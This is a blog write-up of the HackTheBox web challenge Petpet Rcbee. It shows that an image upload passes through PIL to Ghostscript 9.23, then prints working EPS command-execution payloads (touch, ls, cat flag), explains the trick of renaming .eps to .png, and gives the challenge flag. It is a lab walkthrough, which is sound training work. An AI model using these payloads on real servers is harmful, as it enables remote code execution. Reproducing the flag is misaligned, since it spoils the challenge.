HackTheBox – Petpet Rcbee Write-up

Dear readers,

Today’s post is on a web challenge on HackTheBox called Petpet Rcbee. It was created on 5th June 2021. It is a pretty short challenge so this post shouldn’t be too long. Let’s dive right into it.

Fig 1. The Petpet Rcbee challenge is a web challenge on HackTheBox

Files provided

There are a number of files provided by the challenge which contais files needed to set up locally. There are CSS files, image files, JavaScript files, Python files, Docker setup files, etc. You may download the files here. Note that the catflag.eps, catflag.png, ls.eps, and ls.png are files I have created for the exploit. You may ignore them if you are setting up the server locally.

Outlook of the website

When we first go into the website, this is how the website looks like.

Fig 2a. The main page of the website

We can choose any image file (.png or .jpeg) to upload. Once the file is successfully uploaded, moving out the cursor over the current .gif image on the website of the website will cause it to be updated. Fig 2b shows the result of me uploading an image of my logo to the website where the website now displays a GIF of a hand petting my logo.

Fig 2b. GIF image of my logo being pet

If we try to upload other file types, there will not be any changes to the website.


Looking at the code. We will be able to notice that the backend of the website is running on Flask. Below shows the source code of main.py (located at challenge/application/main.py) which is running in the backend of the server showing Flask library is being used.

from flask import Flask
from application.blueprints.routes import web, api

app = Flask(__name__)

app.register_blueprint(web, url_prefix='/')
app.register_blueprint(api, url_prefix='/api')

def not_found(error):
    return {'error': 'Not Found'}, 404

If we take a look at util.py (located at challenge/application/util.py), we can see that the only file with extension that is .png, .jpg, or .jpeg is allowed.

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])

def petpet(file):

    if not allowed_file(file.filename):
        return {'status': 'failed', 'message': 'Improper filename'}, 400

Since we are unable to upload other types of files, we are unable to upload a malicious __init__.py file which is commonly used for Remote Code Execution (RCE) via file upload on a server that uses Python for their backend. You may read more about that approach by ajinabraham.com here.

While looking at the source codes, I couldn’t find any vulnerability. Hence, I decided to try the least possible option that might occur which is finding a CVE vulnerability for the PIL library which is a wrapper for processing images. True enough, I found this source that talks about a past CVE for PIL via Ghostscript here. The vulnerability exists for Ghostscript that is before v9.24.

Looking at the dockerfile, we can see that Ghostscript v9.23 is used which means we can use the Proof-of-Concept (PoC) given. Below shows part of the section in the dockerfile that shows v9.23 is being used.

# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
    && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
    && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*

Besides that, the vulnerability is triggered when Image.open() is executed. In the util.py, we can see that our uploaded image will undergo Image.open() thus is vulnerable to this CVE.

Fig 3. Image file uploaded can parse EPS files

Crafting payload

Based on the PoC, we can make changes to the exploit. The PoC creates a shell and allows the creation of /tmp/got_rce file using the touch command shown below.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops

Therefore, we can create an Encapsulated Postscript (EPS) file to add the code above but change the command entered into the shell. We can send the output of the ls command into the /app/application/static/petpets directory where our usually uploaded image can be accessed (see Fig 4a and 4b). You may download the exploit code for ls here.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
mark /OutputFile (%pipe%ls > /app/application/static/petpets/pwn.txt) currentdevice putdeviceprops
Fig 4a. Location of image uploaded and for us to view in util.py
Fig 4b. Full path of the uploaded folder in config.py

Once we have the script, we can change that EPS file into a PNG file by changing the file extension from .eps to .png and upload it into the server. Navigate your cursor to point it over the GIF file on the main page of the website. We can then view the GIF and change the URL to view our pwn.txt file. Fig 4c shows the result of the ls command executed on the working directory and printed in pwn.txt.

Fig 4c. ls command result

As we know the flag is located in the same directory, we can now print the content of the flag file into pwn.txt using the cat command shown below. You may download the exploit code here.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/pwn.txt) currentdevice putdeviceprops

Once you change the command, you can change the file extension again to PNG file and upload it by repeat that previous step again. The flag should be printed into pwn.txt after you uploaded the file.

Flag obtained

Flag: HTB{c0mfy_bzzzzz_rcb33s_v1b3s}

Fig 5. Flag printed on a text document we created

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. šŸ™‚

3 thoughts on “HackTheBox – Petpet Rcbee Write-up

    1. The website wants us to upload an image. So I figured it out it might be something to do with the vulnerability of parsing files we upload to it. Hence, I tried to find a vulnerability in PIL.


      1. I can understand that you are not find vulnerability at first so you moved your attention to third party component(Ghostscript),at last you found vulnerability successfully.In other words,THE IMPORTENT POINT is take notice of third party component?


Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.